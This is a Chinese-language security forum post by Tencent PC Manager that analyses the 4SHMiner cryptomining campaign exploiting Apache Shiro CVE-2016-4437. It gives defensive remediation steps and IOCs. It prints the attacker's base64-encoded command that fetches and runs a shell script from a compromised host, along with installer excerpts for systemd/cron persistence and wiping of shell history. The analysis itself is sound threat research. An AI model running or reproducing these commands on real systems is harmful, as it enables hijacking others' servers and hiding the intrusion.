查看: 3590|回复: 0
收起左侧

[技术原创] 腾讯主机安全(云镜)捕获挖矿木马4SHMiner,已有1.5万台服务器受害

[复制链接]
腾讯电脑管家
发表于 2020-11-19 18:55:04 | 显示全部楼层 |阅读模式
本帖最后由 腾讯电脑管家 于 2020-11-19 18:55 编辑

背景
近日腾讯云主机安全(云镜)捕获到挖矿木马4SHMiner利用Apache Shiro反序列化漏洞CVE-2016-4437针对云服务器的攻击行动。4SHMiner挖矿团伙入侵成功后会执行命令下载4.sh,然后下载XMRig挖矿木马并通过Linux service、systemctl服务,系统配置文件$HOME/.profile,crontab定时任务进行持久化。

通过其使用的门罗币钱包算力(约333KH/s)进行推算,4SHMiner团伙已控制约1.5万台服务器进行挖矿,并且根据算力突变数据可知其在2020.11.16至17日一天之内新增感染近1万台机器。腾讯安全建议企业及时检查服务器是否部署了小于1.2.5版本的Apache Shiro,并将其升级到1.2.5及以上版本。同时对以下位置进行检查并删除相关文件和启动项:

/tmp/4.sh
/tmp/xmrig.tar.gz
$HOME/moneroocean/xmrig
/etc/init.d/c3pool_miner
/etc/systemd/system/moneroocean_miner.service
$HOME/.profile
crontab
腾讯安全系列产品应对4SHMiner挖矿木马的响应清单:


更多产品信息,请参考腾讯安全官方网站https://s.tencent.com/


详细分析

Apache Shiro是一款开源安全框架,提供身份验证、授权、密码学和会话管理。Shiro框架直观、易用,同时也能提供健壮的安全性。在Apache Shiro <=1.2.4版本中,加密的用户信息序列化后存储在名为remember-me的Cookie中。攻击者可以使用Shiro的默认密钥伪造用户Cookie,触发Java反序列化漏洞CVE-2016-4437,进而在目标机器上执行任意命令。
该漏洞利用POC已被公开:

攻击者批量扫描网站,并将精心构造的包含漏洞利用的数据包发送至服务器。


漏洞攻击成功执行恶意命令:
bash -c {echo,d2dldCBodHRwOi8vd3d3LnNoaXp1MzcuY29tL3N0YXRpYy80LnNoIC1PIC90bXAvNC5zaCAmJiBiYXNoIC90bXAvNC5zaCAxMjM=}|{base64,-d}|{bash,-i}

base64解码命令:
wget http[:]//www.shizu37.com/static/4.sh -O /tmp/4.sh && bash /tmp/4.sh 123

恶意命令从www[.]shizu37.com下载shell脚本4.sh,保存到tmp目录并执行。我们发现www[.]shizu37.com是厦门某服装企业的网站,有可能是被黑客利用漏洞入侵之后,控制服务器将其作为木马下载地址。



4.sh主要功能为下载安装挖矿木马及持久化。首先检测进程xmrig是否存在,不存在则启动挖矿进程$HOME/moneroocean/xmrig。


设置参数,其中WALLET为门罗币钱包,EMAIL通过4.sh启动时的第二个参数传入。
WALLET='48BBjhM6wjtVPPteiAAyy4FfQogMVvJdSWqbT3T8L9cGb9NhUPRtMHkYVmzLgpYEiuh9B6J1yrXhPdjtnmf7rfQyA73rWaF'
EMAIL=$2

检测运行环境,设置当前目录为home,安装脚本执行所需的curl、lscpu程序。


通过lscpu命令获取CPU频率、核心数、缓存大小等信息,并通过公式计算的到EXP_MONERO_HASHRATE(每秒可执行哈希量)。


利用EXP_MONERO_HASHRATE进一步计算得到PORT,PORT将会作为后续挖矿时的端口号。
PORT=$(( $EXP_MONERO_HASHRATE * 12 / 1000 ))
PORT=$(( $PORT == 0 ? 1 : $PORT ))
PORT=`power2 $PORT`
PORT=$(( 10000 + $PORT ))
if [ -z $PORT ]; then
  echo "ERROR: Can't compute port"
  exit 1
fi
if [ "$PORT" -lt "10001" -o "$PORT" -gt "18192" ]; then
  echo "ERROR: Wrong computed port value: $PORT"
  exit 1
fi

接着下载XMRig挖矿木马到/tmp/xmrig.tar.gz,并将其解压到$HOME/moneroocean/xmrig,同时下载配置文件到$HOME/moneroocean/config.json。
挖矿木马下载地址:
http[:]//download.c3pool.com/xmrig_setup/raw/master/xmrig.tar.gz
https[:]//raw.githubusercontent.com/MoneroOcean/xmrig_setup/master/xmrig.tar.gz
https[:]//github.com/xmrig/xmrig/releases/latest
配置文件下载地址:
http[:]//www.shizu37.com/static/config.json


从启动命令第一个参数$1中获得挖矿登陆密码$PASS,以及利用CPU信息计算得到的$PORT、内置钱包地址$WALLET写入$HOME/moneroocean/config.json,并将配置文件拷贝到
$HOME/moneroocean/config_background.json。


创建挖矿木马启动脚本$HOME/moneroocean/miner.sh并拷贝到/etc/init.d/c3pool_miner,通过服务启动挖矿service c3pool_miner start。


将挖矿启动命令写入配置文件$HOME/.profile以便在用户登陆时自动运行。


修改最大内存页hugepages以提高性能。
  if [[ $(grep MemTotal /proc/meminfo | awk '{print $2}') > 3500000 ]]; then
    echo "
  • Enabling huge pages"
  •     echo "vm.nr_hugepages=$((1168+$(nproc)))" | sudo tee -a /etc/sysctl.conf
        sudo sysctl -w vm.nr_hugepages=$((1168+$(nproc)))
      fi

    通过安装systemctl服务/etc/systemd/system/moneroocean_miner.service启动挖矿脚本:
    cat >/tmp/moneroocean_miner.service <<EOL
    [Unit]
    Description=Monero miner service
    [Service]
    ExecStart=$HOME/moneroocean/xmrig --config=$HOME/moneroocean/config.json
    Restart=always
    Nice=10
    CPUWeight=1

    [Install]
    WantedBy=multi-user.target
    EOL
    sudo mv /tmp/moneroocean_miner.service
    /etc/systemd/system/moneroocean_miner.service
        echo "
  • Starting moneroocean_miner systemd service"
  •     sudo killall xmrig 2>/dev/null
        sudo systemctl daemon-reload
        sudo systemctl enable moneroocean_miner.service
    sudo systemctl start moneroocean_miner.service

    通过安装crontab定时任务在每天21:30分执行一次挖矿启动脚本:
    cat >/tmp/cron << EOL
    30 21 * * * bash $HOME/moneroocean/miner.sh
    EOL
    echo ""
    echo "Persistent process by crontab service"
    yum -y install vixie-cron
    yum -y install crontabs
    sudo apt-get install cron
    systemctl start crond.service
    systemctl enable crond.service
    service crond start
    chkconfig --level 35 crond on
    crontab /tmp/cron
    echo "
  • Setup complete"

  • 最后删除临时文件、删除命令执行记录:
    rm -f /tmp/*.sh
    rm -f /tmp/cron
    history -c
    echo ''>/$HOME/.bash_history

    从脚本中获得挖矿使用的两个矿池和钱包:
    矿池:mine.c3pool.com:13333
    钱包:
    4AunTXsvKJWUGkQ2LuqeNmTkH9oPJt2Wc7LYweKVfbiYDZLjSdGMA9cfrDm6HLLZHCLoDrhqKjNBo9EPaqsZrYN92Ng5S68

    矿池:gulf.moneroocean.stream
    钱包:
    48BBjhM6wjtVPPteiAAyy4FfQogMVvJdSWqbT3T8L9cGb9NhUPRtMHkYVmzLgpYEiuh9B6J1yrXhPdjtnmf7rfQyA73rWaF

    按照钱包平均算力121 KH/s+212 KH/s=333 KH/s,推算其控制约一万五千台服务器进行挖矿。其中第二个钱包在2020.11.16日晚至17日凌晨算力突增约180KH/s,意味着该挖矿木马在一天之内新增感染近1万台服务器。



    IOCs
    Md5
    4.sh 431F20DFF2233F7A4A286105958D28BE
    xmrig.tar.gz 4C010F248891A65E91600B613A654F5F

    IP
    118.254.9.180

    URL
    http[:]//www.shizu37.com/static/4.sh
    http[:]//www.shizu37.com/static/config.json

    钱包:
    4AunTXsvKJWUGkQ2LuqeNmTkH9oPJt2Wc7LYweKVfbiYDZLjSdGMA9cfrDm6HLLZHCLoDrhqKjNBo9EPaqsZrYN92Ng5S68
    48BBjhM6wjtVPPteiAAyy4FfQogMVvJdSWqbT3T8L9cGb9NhUPRtMHkYVmzLgpYEiuh9B6J1yrXhPdjtnmf7rfQyA73rWaF

    参考链接:


    本帖子中包含更多资源

    您需要 登录 才可以下载或查看,没有帐号?快速注册

    x
    您需要登录后才可以回帖 登录 | 快速注册

    本版积分规则

    手机版|杀毒软件|软件论坛| 卡饭论坛

    Copyright © KaFan  KaFan.cn All Rights Reserved.

    Powered by Discuz! X3.4( 沪ICP备2020031077号-2 ) GMT+8, 2024-12-22 11:56 , Processed in 0.125362 second(s), 17 queries .

    卡饭网所发布的一切软件、样本、工具、文章等仅限用于学习和研究,不得将上述内容用于商业或者其他非法用途,否则产生的一切后果自负,本站信息来自网络,版权争议问题与本站无关,您必须在下载后的24小时之内从您的电脑中彻底删除上述信息,如有问题请通过邮件与我们联系。

    快速回复 客服 返回顶部 返回列表